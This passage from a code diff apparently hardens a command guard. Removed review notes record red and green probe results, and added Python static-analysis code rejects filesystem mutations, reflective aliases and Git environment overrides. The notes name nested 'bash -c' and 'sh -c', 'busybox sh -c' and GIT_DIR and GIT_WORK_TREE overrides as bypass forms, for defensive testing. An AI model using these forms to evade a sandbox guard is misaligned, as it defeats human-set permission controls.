any nested -payload could execute. - -Recorded red output: - -```text -RED nested-shell command gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e accepted direct bash/sh -c and nested shell command strings without recursively inspecting their live command payloads -``` - -Recorded current-green output: - -```text -nested-shell forbidden-command regression: passed; direct/absolute/optioned/env/busybox and nested bash/sh -c forms rejected; safe printf boundary retained -``` - -The focused boundary covered direct bash/sh, `/bin/bash -xc`, env-wrapped -`/bin/sh --command`, `busybox sh -c`, and nested `bash -c "sh -c ..."`, while -retaining a safe direct `printf` result. Final anchor: [recursive shell -command-string boundary](#root-4001378622-recursive-shell-command-string-scan). - -#### Root 4001378624: cleanliness gate before source reads - -The immutable red probe created an ignored FIFO named `stuck_test.go` and ran -the prior source-fuzz scan in a bounded child; it blocked while opening the -candidate before the cleanliness gate. The corrected order performs the -immutable module-tree and `git status --ignored=matching` gate first, then -opens candidate source files only after a clean result. A synthetic ignored -FIFO status record is rejected before read, metadata/Go child or blocking. - -Recorded red output: - -```text -RED cleanliness/source-read gap: prior f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e opened ignored candidate FIFO stuck_test.go before the status gate; bounded probe blocked in source scan -``` + def callable_parameter_names(function): + positional = list(function.args.posonlyargs) + list(function.args.args) + parameters = { + parameter.arg + for parameter in positional + list(function.args.kwonlyargs) + } + if function.args.vararg is not None: + parameters.add(function.args.vararg.arg) + if function.args.kwarg is not None: + parameters.add(function.args.kwarg.arg) + alias_origins = {parameter: {parameter} for parameter in parameters} + function_nodes = [ + candidate + for candidate in ast.walk(function) + if _cached_enclosing_scope(candidate, parents) is function + ] + for _ in range(len(function_nodes) + 1): + changed = False + for candidate in function_nodes: + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + if candidate.value is None: + continue + targets, value = [candidate.target], candidate.value + else: + continue + origins = set().union(*( + alias_origins.get(source.id, set()) + for source in ast.walk(value) + if isinstance(source, ast.Name) + and isinstance(source.ctx, ast.Load) + and _cached_enclosing_scope(source, parents) is function + )) + if not origins: + continue + for target in targets: + if not isinstance(target, ast.Name): + continue + stored_origins = alias_origins.setdefault(target.id, set()) + prior_count = len(stored_origins) + stored_origins.update(origins) + changed |= len(stored_origins) != prior_count + if not changed: + break + called = set() + for candidate in function_nodes: + if not ( + isinstance(candidate, ast.Name) + and candidate.id in alias_origins + and isinstance(candidate.ctx, ast.Load) + ): + continue + parent = parents.get(candidate) + if isinstance(parent, ast.Call) and parent.func is candidate: + called.update(alias_origins[candidate.id]) + elif ( + isinstance(parent, ast.Attribute) + and parent.attr == "__call__" + and isinstance(parents.get(parent), ast.Call) + and parents[parent].func is parent + ): + called.update(alias_origins[candidate.id]) + elif ( + isinstance(parent, ast.Subscript) + and isinstance(parents.get(parent), ast.Call) + and parents[parent].func is parent + ): + called.update(alias_origins[candidate.id]) + + def scope_binds_name(scope, name): + if isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + arguments = scope.args + parameters = ( + list(arguments.posonlyargs) + + list(arguments.args) + + list(arguments.kwonlyargs) + + ([arguments.vararg] if arguments.vararg is not None else []) + + ([arguments.kwarg] if arguments.kwarg is not None else []) + ) + if any(parameter.arg == name for parameter in parameters): + return True + if any( + name in declaration.names + for declaration in ast.walk(scope) + if isinstance(declaration, ast.Global) + and _cached_enclosing_scope(declaration, parents) is scope + ): + return True + for candidate in ast.walk(scope): + candidate_scope = ( + _cached_enclosing_scope(parents.get(candidate), parents) + if isinstance( + candidate, + (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef), + ) + else _cached_enclosing_scope(candidate, parents) + ) + if candidate_scope is not scope: + continue + if isinstance(candidate, ast.Name) and ( + candidate.id == name + and isinstance(candidate.ctx, ast.Store) + ): + return True + if isinstance(candidate, (ast.Import, ast.ImportFrom)): + imported_names = ( + [ + alias.asname or alias.name.split(".")[0] + for alias in candidate.names + ] + if isinstance(candidate, ast.Import) + else [alias.asname or alias.name for alias in candidate.names] + ) + if name in imported_names: + return True + if isinstance(candidate, ast.ExceptHandler) and candidate.name == name: + return True + if isinstance( + candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef) + ) and candidate.name == name and ( + _cached_enclosing_scope(parents.get(candidate), parents) is scope + ): + return True + return False -Recorded current-green output: + for candidate in ast.walk(function): + if not ( + isinstance(candidate, ast.Name) + and isinstance(candidate.ctx, ast.Load) + ): + continue + use_scope = _cached_enclosing_scope(candidate, parents) + if use_scope is function: + continue + lexical_scopes = python_lexical_scope_chain(use_scope, parents) + if function not in lexical_scopes: + continue + origins = alias_origins.get(candidate.id, set()) + if not origins: + continue + intervening_scopes = lexical_scopes[:lexical_scopes.index(function)] + if any( + scope_binds_name(scope, candidate.id) + for scope in intervening_scopes + ): + continue + called.update(origins) + return called & parameters -```text -FIFO cleanliness regression: passed; ignored stuck_test.go rejected before read, metadata/Go child, or blocking -``` + for candidate in ast.walk(tree): + if not isinstance(candidate, ast.Call): + continue + if isinstance(candidate.func, ast.Name): + functions = python_local_function_candidates( + candidate.func.id, candidate, tree, parents + ) + else: + functions = [] + call_scope = _cached_enclosing_scope(candidate, parents) + for function in functions: + called_parameters = callable_parameter_names(function) + if not called_parameters: + continue + positional = list(function.args.posonlyargs) + list(function.args.args) + variadic_positional = ( + function.args.vararg.arg + if function.args.vararg is not None + else None + ) + for index, argument in enumerate(candidate.args): + if isinstance(argument, ast.Starred): + if ( + reflective_value_flows(argument.value) + and ( + any( + parameter.arg in called_parameters + for parameter in positional[index:] + ) + or variadic_positional in called_parameters + ) + ): + return "Python heredoc passes a reflective result to a local callback" + elif ( + index < len(positional) + and positional[index].arg in called_parameters + and reflective_value_flows(argument) + ): + return "Python heredoc passes a reflective result to a local callback" + elif ( + index >= len(positional) + and variadic_positional in called_parameters + and reflective_value_flows(argument) + ): + return "Python heredoc passes a reflective result to a local callback" + named_parameters = { + parameter.arg + for parameter in positional + list(function.args.kwonlyargs) + } + variadic_keywords = ( + function.args.kwarg.arg if function.args.kwarg is not None else None + ) + for keyword in candidate.keywords: + if ( + keyword.arg in called_parameters + and reflective_value_flows(keyword.value) + ): + return "Python heredoc passes a reflective result to a local callback" + if ( + keyword.arg is not None + and variadic_keywords in called_parameters + and keyword.arg not in named_parameters + and reflective_value_flows(keyword.value) + ): + return "Python heredoc passes a reflective result to a local callback" + if keyword.arg is None: + if isinstance(keyword.value, ast.Dict): + if any( + isinstance(key, ast.Constant) + and key.value in called_parameters + and reflective_value_flows(value) + for key, value in zip( + keyword.value.keys, keyword.value.values + ) + ): + return "Python heredoc passes a reflective result to a local callback" + if ( + variadic_keywords in called_parameters + and any( + reflective_value_flows(value) + for value in keyword.value.values + if value is not None + ) + ): + return "Python heredoc passes a reflective result to a local callback" + elif reflective_value_flows(keyword.value) and ( + called_parameters & named_parameters + or variadic_keywords in called_parameters + ): + return "Python heredoc passes a reflective result to a local callback" -The green probe verifies the candidate is a real FIFO, status reports it as -ignored, the candidate `read_text` hook is never reached, and no Go subprocess -is started. Final anchor: [cleanliness-before-source-read boundary](#root-4001378624-cleanliness-gate-before-source-reads). + def _resolved_member_names(member_node): + names = python_static_string_values(member_node, tree) + if names: + return names + return python_static_string_values_from_local_calls( + member_node, tree, parents + ) -### Fresh exact-head P2 correction at `01764bbed0a387129d2a2abbc9e27a87e073f87e` + for node in ast.walk(tree): + assignments = [] + if isinstance(node, ast.Assign): + assignments.extend((target, node.value) for target in node.targets) + elif isinstance(node, ast.AnnAssign): + assignments.append((node.target, node.value)) + elif isinstance(node, ast.NamedExpr): + assignments.append((node.target, node.value)) + for target, value in assignments: + if not isinstance(target, ast.Name): + continue + while isinstance(value, ast.NamedExpr): + value = value.value + receiver = None + method = None + if ( + isinstance(value, ast.Attribute) + and value.attr in python_filesystem_mutating_methods + ): + receiver = value.value + method = value.attr + elif ( + isinstance(value, ast.Call) + and isinstance(value.func, ast.Name) + and value.func.id in getattr_aliases + and len(value.args) >= 2 + ): + possible_names = _resolved_member_names(value.args[1]) + possible_methods = ( + possible_names & python_filesystem_mutating_methods + ) + if len(possible_methods) == 1 and possible_names == possible_methods: + receiver = value.args[0] + method = next(iter(possible_methods)) + elif possible_methods or ( + not possible_names + and python_path_receiver_expression( + value.args[0], tree, parents + ) + ): + return ( + "Python heredoc extracts an unresolved reflective filesystem " + f"mutator into alias {target.id!r} on line {node.lineno}" + ) + elif ( + isinstance(value, ast.Attribute) + and python_dotted_name(value) in python_filesystem_mutating_functions + ): + return ( + "Python heredoc extracts an unowned filesystem mutator " + f"{python_dotted_name(value)!r} into alias {target.id!r} " + f"on line {node.lineno}" + ) + unresolved_reflective_results = [ + candidate + for candidate in ast.walk(value) + if ( + isinstance(candidate, ast.Call) + and isinstance(candidate.func, ast.Name) + and candidate.func.id in getattr_aliases + and len(candidate.args) >= 2 + and not _resolved_member_names(candidate.args[1]) + and not ( + isinstance(parents.get(candidate), ast.Call) + and parents[candidate].func is candidate + ) + ) + ] + target_scope = _cached_enclosing_scope(node, parents) + reflective_result_is_called = any( + isinstance(candidate, ast.Name) + and candidate.id == target.id + and isinstance(candidate.ctx, ast.Load) + and isinstance(parents.get(candidate), ast.Call) + and parents[candidate].func is candidate + and target_scope in python_lexical_scope_chain( + _cached_enclosing_scope(candidate, parents), parents + ) + for candidate in ast.walk(tree) + ) + if unresolved_reflective_results and reflective_result_is_called: + return ( + "Python heredoc stores an unresolved reflective result " + f"in alias {target.id!r} on line {node.lineno}" + ) + if receiver is None: + wrapped_mutators = [] + for candidate in ast.walk(value): + if isinstance(candidate, ast.Call): + for returned in python_local_call_return_values( + candidate, tree, parents + ): + returned_getattr_calls = [ + returned_node + for returned_node in ast.walk(returned) + if ( + isinstance(returned_node, ast.Call) + and isinstance(returned_node.func, ast.Name) + and returned_node.func.id in getattr_aliases + ) + ] + if not returned_getattr_calls: + continue + for returned_node in returned_getattr_calls: + if len(returned_node.args) < 2: + return ( + "Python heredoc assigns an unreviewed reflective " + f"helper result to alias {target.id!r} on line {node.lineno}" + ) + returned_names = _resolved_member_names( + returned_node.args[1] + ) + if ( + len(returned_names) == 1 + and not ( + returned_names + & python_filesystem_mutating_methods + ) + and python_reviewed_path_reader( + returned_node.args[0], + next(iter(returned_names)), + tree, + parents, + ) + ): + continue + return ( + "Python heredoc assigns an unreviewed reflective " + f"helper result to alias {target.id!r} on line {node.lineno}" + ) + candidate_method = None + candidate_receiver = None + if ( + isinstance(candidate, ast.Attribute) + and candidate.attr in python_filesystem_mutating_methods + ): + candidate_method = candidate.attr + candidate_receiver = candidate.value + elif ( + isinstance(candidate, ast.Call) + and isinstance(candidate.func, ast.Name) + and candidate.func.id in getattr_aliases + and len(candidate.args) >= 2 + ): + possible_names = _resolved_member_names( + candidate.args[1] + ) + possible_methods = ( + possible_names & python_filesystem_mutating_methods + ) + if not possible_names and python_path_receiver_expression( + candidate.args[0], tree, parents + ): + possible_methods = python_filesystem_mutating_methods + if possible_methods: + candidate_method = ( + next(iter(possible_methods)) + if len(possible_methods) == 1 + else None + ) + candidate_receiver = candidate.args[0] + if candidate_method is None and candidate_receiver is None: + continue + if candidate is value: + continue + if ( + isinstance(parents.get(candidate), ast.Call) + and parents[candidate].func is candidate + ): + continue + if ( + candidate_method == "copy" + and python_known_non_path_set_copy_receiver( + candidate_receiver, tree, parents + ) + ): + continue + wrapped_mutators.append(candidate) + if wrapped_mutators: + return ( + "Python heredoc wraps an extracted filesystem mutator " + f"in an unreviewed value on line {node.lineno}" + ) + continue + if method == "copy" and python_known_non_path_set_copy_receiver( + receiver, tree, parents + ): + continue + if not temporary_path_expression(receiver, tree, parents): + return ( + "Python heredoc extracts an unowned filesystem mutator " + f"{method!r} into alias {target.id!r} on line {node.lineno}" + ) + if method in python_path_mutator_destination_keywords: + alias_scope = _cached_enclosing_scope(node, parents) + alias_calls = [] + for candidate in ast.walk(tree): + if not ( + isinstance(candidate, ast.Name) + and candidate.id == target.id + and isinstance(candidate.ctx, ast.Load) + ): + continue + candidate_scope = _cached_enclosing_scope(candidate, parents) + if candidate_scope is alias_scope: + parent = parents.get(candidate) + if not ( + isinstance(parent, ast.Call) and parent.func is candidate + ): + return ( + "Python heredoc lets an extracted Path mutator escape " + f"its reviewed call site on line {candidate.lineno}" + ) + alias_calls.append(parent) + elif alias_scope in python_lexical_scope_chain( + candidate_scope, parents + ) and not reviewed_python_git_name_bound_in_scope( + tree, parents, candidate_scope, target.id + ): + return ( + "Python heredoc captures an extracted Path mutator " + f"outside its reviewed scope on line {candidate.lineno}" + ) + for call_node in alias_calls: + destination = python_path_mutator_destination(call_node, method) + if destination is None or not temporary_path_expression( + destination, tree, parents + ): + return ( + "Python heredoc calls an extracted Path mutator with an " + f"unreviewed destination on line {call_node.lineno}" + ) + return None -The fresh Codex finding below was reproduced against the immutable packet blob -at the exact starting head before editing. The red probe stops at the first Git -query after injecting synthetic repository/worktree/index overrides; it does -not run the metadata query, selector parser, test body or live operation. The -current green probe exercises inherited and command-prefix forms for the -repository-control namespace, patches both Git and Go child launches, and -requires rejection before immutable-tree/status validation. -#### Root 4001471783: Git repository-control environment overrides +def python_path_receiver_expression(node, tree, parents, seen=None): + """Recognize Path-like receivers through constructors and annotations.""" + if node is None: + return False + if seen is None: + seen = set() + if id(node) in seen: + return False + seen.add(id(node)) + if temporary_path_expression(node, tree, parents): + return True + if isinstance(node, ast.Call): + dotted = python_dotted_name(node.func) + path_aliases = getattr(tree, "_issue79_path_constructor_aliases", None) + if path_aliases is None: + path_aliases = python_path_constructor_aliases(tree) + tree._issue79_path_constructor_aliases = path_aliases + module_aliases, constructor_aliases = path_aliases + if isinstance(node.func, ast.Name) and node.func.id in constructor_aliases: + return True + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "Path" + and isinstance(node.func.value, ast.Name) + and node.func.value.id in module_aliases + ): + return True + if ( + dotted in { + "Path.cwd", + "pathlib.Path.cwd", + "Path.home", + "pathlib.Path.home", + } + or ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "cwd" + and isinstance(node.func.value, ast.Attribute) + and node.func.value.attr == "Path" + and isinstance(node.func.value.value, ast.Name) + and node.func.value.value.id in module_aliases + ) + ) and ( + not node.args + and not node.keywords + ): + return True + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr in {"expanduser", "joinpath", "resolve"} + ): + return python_path_receiver_expression(node.func.value, tree, parents, seen) + if any( + python_path_receiver_expression( + returned, tree, parents, set(seen) + ) + for returned in python_local_call_return_values(node, tree, parents) + ): + return True + return False + if isinstance(node, ast.Name): + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets = candidate.targets + value = candidate.value + elif isinstance(candidate, ast.AnnAssign) and candidate.value is not None: + targets = [candidate.target] + value = candidate.value + elif isinstance(candidate, ast.NamedExpr): + targets = [candidate.target] + value = candidate.value + else: + continue + if not any( + isinstance(target, ast.Name) and target.id == node.id + for target in targets + ): + continue + if python_path_receiver_expression(value, tree, parents, seen): + return True + if python_path_typed_parameter(node, tree, parents): + return True + return node.id.casefold().endswith(("path", "file", "directory", "dir", "root")) and not python_unassigned_path_parameter(node, parents) + if isinstance(node, ast.Attribute): + return python_path_receiver_expression(node.value, tree, parents, seen) + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + return python_path_receiver_expression(node.left, tree, parents, seen) + return False -The immutable red witness shows that the prior wrapper performed -`git rev-parse --show-toplevel` before parsing or rejecting environment -assignments. `GIT_WORK_TREE`, `GIT_DIR` and `GIT_INDEX_FILE` therefore reached -the first Git query and could redirect worktree, repository or index semantics; -the same ordering left related `GIT_*` repository, object, config, namespace, -discovery, pathspec and replacement controls unchecked. -```sh +def temporary_path_expression(node, tree, parents, seen=None): + """Prove a path stays below the active literal TemporaryDirectory.""" + if node is None: + return False + if seen is None: + seen = set() + if reviewed_source_snapshot_path(node, tree, parents, set(seen)): + return True + binding = temporary_directory_binding(node, parents) + if binding is None: + return False + bindings = temporary_directory_bindings(node, tree, parents) + if isinstance(node, ast.Name): + if node.id in bindings: + assignments = [] + for candidate in ast.walk(tree): + targets = [] + value = None + if isinstance(candidate, ast.Assign): + targets = candidate.targets + value = candidate.value + elif isinstance(candidate, ast.AnnAssign): + targets = [candidate.target] + value = candidate.value + elif isinstance(candidate, ast.NamedExpr): + targets = [candidate.target] + value = candidate.value + elif isinstance(candidate, ast.AugAssign): + targets = [candidate.target] + if ( + temporary_directory_binding(candidate, parents) == binding + and any( + isinstance(target, ast.Name) and target.id == node.id + for target in targets + ) + ): + assignments.append(value) + if not assignments: + return True + return all( + value is not None + and temporary_path_expression(value, tree, parents, seen) + for value in assignments + ) + if node.id in seen: + return False + seen.add(node.id) + assignment_values = [] + for candidate in ast.walk(tree): + targets = [] + value = None + if isinstance(candidate, ast.Assign): + targets = candidate.targets + value = candidate.value + elif isinstance(candidate, ast.AnnAssign): + targets = [candidate.target] + value = candidate.value + elif isinstance(candidate, ast.NamedExpr): + targets = [candidate.target] + value = candidate.value + elif isinstance(candidate, ast.AugAssign): + targets = [candidate.target] + if temporary_directory_binding(candidate, parents) != binding: + continue + if any( + isinstance(target, ast.Name) and target.id == node.id + for target in targets + ): + assignment_values.append(value) + if assignment_values: + return all( + temporary_path_expression(value, tree, parents, seen) + for value in assignment_values + ) + return False + if isinstance(node, ast.Attribute) and node.attr == "parent": + return False + if isinstance(node, ast.Call): + dotted = python_dotted_name(node.func) + if dotted in {"Path", "pathlib.Path"} and len(node.args) == 1 and not node.keywords: + return temporary_path_expression(node.args[0], tree, parents, seen) + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "joinpath" + and temporary_path_expression(node.func.value, tree, parents, seen) + and all( + isinstance(argument, ast.Constant) + and isinstance(argument.value, str) + and temporary_path_component_safe(argument.value) + for argument in node.args + ) + and not node.keywords + ): + return True + return False + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + return ( + temporary_path_expression(node.left, tree, parents, seen) + and ( + ( + isinstance(node.right, ast.Constant) + and isinstance(node.right.value, str) + and temporary_path_component_safe(node.right.value) + ) + or ( + isinstance(node.right, ast.Name) + and node.right.id in { + "relative_path", + "relative_directory", + "directory", + } + and any( + isinstance(parent, (ast.FunctionDef, ast.AsyncFunctionDef)) + and parent.name == "create_immutable_source_snapshot" + for parent in _python_parent_chain(node, parents) + ) + ) + ) + ) + return False + + +def python_filesystem_mutation_violation(tree, parents): + """Reject filesystem mutations unless their path is temp-owned.""" + alias_violation = python_filesystem_mutator_alias_violation(tree, parents) + if alias_violation: + return alias_violation + open_aliases = python_open_aliases(tree) + for node in ast.walk(tree): + if not isinstance(node, ast.Call): + continue + dotted = python_dotted_name(node.func) + mutation = False + path_arguments = [] + if isinstance(node.func, ast.Attribute) and node.func.attr in python_filesystem_mutating_methods: + if node.func.attr == "copy" and python_known_non_path_set_copy_receiver( + node.func.value, tree, parents + ): + continue + if ( + node.func.attr == "replace" + and not python_path_receiver_expression(node.func.value, tree, parents) + ): + continue + mutation = True + path_arguments = [node.func.value] + if node.func.attr in python_path_mutator_destination_keywords: + path_arguments.append( + python_path_mutator_destination(node, node.func.attr) + ) + elif node.func.attr in { + "hardlink_to", + "link_to", + "symlink_to", + "move", + "rename", + "replace", + }: + path_arguments.extend(node.args[:1]) + elif dotted in python_filesystem_mutating_functions: + mutation = True + path_arguments = list(node.args[:2]) + elif python_open_callable_reference(node.func, tree, parents, open_aliases): + unpacked_keyword = any(keyword.arg is None for keyword in node.keywords) + if unpacked_keyword: + mutation = True + mode_keyword = next( + (keyword.value for keyword in node.keywords if keyword.arg == "mode"), + None, + ) + has_mode = len(node.args) > 1 or any( + keyword.arg == "mode" for keyword in node.keywords + ) + mode = node.args[1] if len(node.args) > 1 else mode_keyword + if not has_mode and not unpacked_keyword: + continue + if unpacked_keyword: + mode = None + elif not isinstance(mode, ast.Constant) or not isinstance(mode.value, str): + mutation = True + else: + mutation = any(flag in mode.value for flag in ("w", "a", "x", "+")) + path_arguments = list(node.args[:1]) + elif dotted == "tempfile.TemporaryDirectory": + continue + elif dotted in { + "tempfile.NamedTemporaryFile", + "tempfile.TemporaryFile", + "tempfile.SpooledTemporaryFile", + "tempfile.mkstemp", + "tempfile.mkdtemp", + }: + mutation = True + directory = next( + (keyword.value for keyword in node.keywords if keyword.arg == "dir"), + None, + ) + path_arguments = [directory] if directory is not None else [] + elif dotted == "io.FileIO": + path = node.args[0] if node.args else next( + ( + keyword.value + for keyword in node.keywords + if keyword.arg in {"file", "name"} + ), + None, + ) + mode = node.args[1] if len(node.args) > 1 else next( + (keyword.value for keyword in node.keywords if keyword.arg == "mode"), + None, + ) + if mode is None: + if path is None or not python_reviewed_read_path(path, tree, parents): + mutation = True + elif isinstance(mode, ast.Constant) and isinstance(mode.value, str): + if any(flag in mode.value for flag in ("w", "a", "x", "+")): + mutation = True + elif path is None or not python_reviewed_read_path(path, tree, parents): + mutation = True + else: + mutation = True + path_arguments = [path] if path is not None else [] + if not mutation: + continue + if path_arguments and all( + temporary_path_expression(argument, tree, parents) + for argument in path_arguments + ): + continue + return ( + "Python heredoc contains an unreviewed filesystem mutation " + f"{dotted or ''!r} on line {node.lineno}" + ) + return None + + +python_reviewed_path_values = { + "/opt/homebrew/bin:/usr/bin:/bin", + "/usr/bin:/bin", + "/usr/bin", +} +python_reviewed_path_names = { + "reviewed_path", + "reviewed_shell_path", + "inherited_path_previous", +} +python_reviewed_environment_names = { + "env", + "go_env", + "base_env", + "git_environment", + "remote_environment", + "child_environment", + "child_env", + "probe_env", + "setup_env", + "safe_env", + "isolated_environment", + "git_env", +} + + +def python_path_value_allowed(node): + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return node.value in python_reviewed_path_values + return isinstance(node, ast.Name) and node.id in python_reviewed_path_names + + +def python_enclosing_scope(node, parents): + """Resolve assignments against the nearest function/module scope.""" + current = node + while current is not None: + if isinstance( + current, + (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda, ast.Module), + ): + return current + current = parents.get(current) + return None + + +def python_environment_mapping_state(node, tree, seen=None, parents=None): + """Return safe/unsafe/unknown for literal child-environment PATH maps.""" + if seen is None: + seen = set() + if parents is None: + parents = {} + if node is None or id(node) in seen: + return "unknown" + seen.add(id(node)) + if isinstance(node, ast.Dict): + state = "safe" + explicit_path = False + for key, value in zip(node.keys, node.values): + if key is None: + unpacked_state = python_environment_mapping_state( + value, tree, set(seen), parents + ) + if unpacked_state != "safe": + return unpacked_state + continue + if not ( + isinstance(key, ast.Constant) + and isinstance(key.value, str) + ): + state = "unknown" + continue + if credential_environment_name(key.value): + return "unsafe" + if key.value != "PATH": + continue + explicit_path = True + if not python_path_value_allowed(value): + return "unsafe" + return state + if isinstance(node, ast.DictComp): + if ( + len(node.generators) == 1 + and isinstance(node.generators[0].iter, ast.Name) + and node.generators[0].iter.id == "reviewed_child_environment_names" + ): + return "safe" + if ( + len(node.generators) == 1 + and isinstance(node.generators[0].iter, ast.Call) + and python_dotted_name(node.generators[0].iter.func) == "os.environ.items" + and any( + isinstance(candidate, ast.Name) + and candidate.id == "reviewed_child_environment_names" + for condition in node.generators[0].ifs + for candidate in ast.walk(condition) + ) + ): + return "safe" + if ( + len(node.generators) == 1 + and isinstance(node.generators[0].iter, ast.Call) + and python_dotted_name(node.generators[0].iter.func) == "os.environ.items" + and any( + isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) + == "credential_environment_name" + for candidate in ast.walk(node) + ) + ): + return "safe" + return "unknown" + if isinstance(node, ast.Name): + states = [] + scope = python_enclosing_scope(node, parents) + for candidate in ast.walk(tree): + if not isinstance(candidate, (ast.Assign, ast.AnnAssign, ast.NamedExpr)): + continue + if python_enclosing_scope(candidate, parents) is not scope: + continue + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + if any(isinstance(target, ast.Name) and target.id == node.id for target in targets): + states.append( + python_environment_mapping_state( + candidate.value, tree, set(seen), parents + ) + ) + if "unsafe" in states: + return "unsafe" + if states and all(state == "safe" for state in states): + return "safe" + if not states and node.id in python_reviewed_environment_names: + return "safe" + return "unknown" + return "unknown" + + +def python_git_environment_values_are_isolated(values): + if not isinstance(values, dict) or any( + not isinstance(key, str) or not isinstance(value, str) + for key, value in values.items() + ): + return False + required = { + "GIT_CONFIG_NOSYSTEM": "1", + "GIT_CONFIG_GLOBAL": "/dev/null", + "GIT_CONFIG_SYSTEM": "/dev/null", + } + if any(values.get(name) != value for name, value in required.items()): + return False + config_names = {name for name in values if name.startswith("GIT_CONFIG_")} + safe_config_names = set(required) + numbered_settings = { + "GIT_CONFIG_COUNT": "2", + "GIT_CONFIG_KEY_0": "core.fsmonitor", + "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", + "GIT_CONFIG_VALUE_1": "/dev/null", + } + present_numbered = config_names.intersection(numbered_settings) + if present_numbered: + if present_numbered != set(numbered_settings) or any( + values.get(name) != value for name, value in numbered_settings.items() + ): + return False + safe_config_names.update(numbered_settings) + if config_names != safe_config_names: + return False + attribute_names = {name for name in values if name.startswith("GIT_ATTR_")} + if any( + name.startswith("GIT_") + and name not in safe_config_names | {"GIT_ATTR_NOSYSTEM"} + for name in values + ): + return False + if not attribute_names <= {"GIT_ATTR_NOSYSTEM"}: + return False + return ( + "GIT_ATTR_NOSYSTEM" not in values or values["GIT_ATTR_NOSYSTEM"] == "1" + ) + + +def reviewed_python_git_environment_argument(node, tree, parents): + """Recognize only a direct value passed to one statically bound env parameter.""" + parent = parents.get(node) + if isinstance(parent, ast.keyword): + call_node = parents.get(parent) + argument_name = parent.arg + elif isinstance(parent, ast.Call) and node in parent.args: + call_node = parent + argument_name = None + else: + return False + if not isinstance(call_node, ast.Call) or not isinstance(call_node.func, ast.Name): + return False + function_name = call_node.func.id + call_scope = python_enclosing_scope(call_node, parents) + definitions = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef)) + and candidate.name == function_name + and python_enclosing_scope(parents.get(candidate), parents) is call_scope + ] + if len(definitions) != 1: + return False + definition = definitions[0] + for scope in python_lexical_scope_chain(call_scope, parents): + allowed = definition if scope is call_scope else None + if reviewed_python_git_name_bound_in_scope( + tree, parents, scope, function_name, allowed + ): + return False + parameters = list(definition.args.posonlyargs) + list(definition.args.args) + keyword_only = {parameter.arg for parameter in definition.args.kwonlyargs} + if argument_name is not None: + return argument_name == "env" and ( + any(parameter.arg == "env" for parameter in parameters) + or "env" in keyword_only + ) and sum(keyword.arg == "env" for keyword in call_node.keywords) == 1 + if any(isinstance(argument, ast.Starred) for argument in call_node.args): + return False + if any(keyword.arg == "env" for keyword in call_node.keywords): + return False + return any( + index < len(parameters) and parameters[index].arg == "env" + for index, argument in enumerate(call_node.args) + if argument is node + ) + + +def python_git_environment_isolated(node, tree, parents, seen=None): + """Trace only literal Git config maps or the packet's two filtered child maps.""" + if seen is None: + seen = set() + if id(node) in seen: + return False + seen = seen | {id(node)} + if isinstance(node, ast.Dict): + try: + return python_git_environment_values_are_isolated(ast.literal_eval(node)) + except (ValueError, TypeError, SyntaxError, RecursionError): + return False + if not isinstance(node, ast.Name): + return False + scope = python_enclosing_scope(node, parents) + for candidate in ast.walk(tree): + if ( + isinstance(candidate, ast.Name) + and candidate.id == node.id + and python_enclosing_scope(candidate, parents) is not scope + ): + candidate_scope = python_enclosing_scope(candidate, parents) + if not reviewed_python_git_name_bound_in_scope( + tree, parents, candidate_scope, node.id + ): + return False + continue + if python_enclosing_scope(candidate, parents) is not scope: + continue + if ( + isinstance(candidate, ast.AugAssign) + and isinstance(candidate.target, ast.Name) + and candidate.target.id == node.id + ): + return False + if ( + isinstance(candidate, ast.Name) + and candidate.id == node.id + and isinstance(candidate.ctx, ast.Load) + ): + parent = parents.get(candidate) + if ( + isinstance(parent, ast.keyword) + and parent.arg == "env" + and parent.value is candidate + ): + continue + if reviewed_python_git_environment_argument( + candidate, tree, parents + ): + continue + if ( + isinstance(parent, ast.Attribute) + and parent.value is candidate + and parent.attr == "update" + and isinstance(parents.get(parent), ast.Call) + and parents[parent].func is parent + ): + continue + return False + assignments = [] + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + else: + continue + if python_enclosing_scope(candidate, parents) is scope and any( + isinstance(target, ast.Name) and target.id == node.id for target in targets + ): + assignments.append(value) + if not assignments: + if not isinstance(scope, (ast.FunctionDef, ast.AsyncFunctionDef)): + return False + parameters = ( + list(scope.args.posonlyargs) + list(scope.args.args) + list(scope.args.kwonlyargs) + ) + parameter_index = next( + (index for index, parameter in enumerate(parameters) if parameter.arg == node.id), + None, + ) + if parameter_index is None or id(scope) in seen: + return False + callers = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Call) + and python_dotted_name(candidate.func) == scope.name + ] + if not callers: + return False + for caller in callers: + keywords = [keyword.value for keyword in caller.keywords if keyword.arg == node.id] + if len(keywords) > 1: + return False + if keywords: + argument = keywords[0] + elif parameter_index < len(caller.args) and not any( + isinstance(value, ast.Starred) for value in caller.args + ): + argument = caller.args[parameter_index] + else: + return False + if not python_git_environment_isolated(argument, tree, parents, seen | {id(scope)}): + return False + return True + if len(assignments) != 1: + return False + base = assignments[0] + config_values = {} + if isinstance(base, ast.Dict): + try: + literal = ast.literal_eval(base) + except (ValueError, TypeError, SyntaxError, RecursionError): + return False + if not isinstance(literal, dict): + return False + config_values.update({ + key: value for key, value in literal.items() + if isinstance(key, str) and key.startswith("GIT_") + }) + elif isinstance(base, 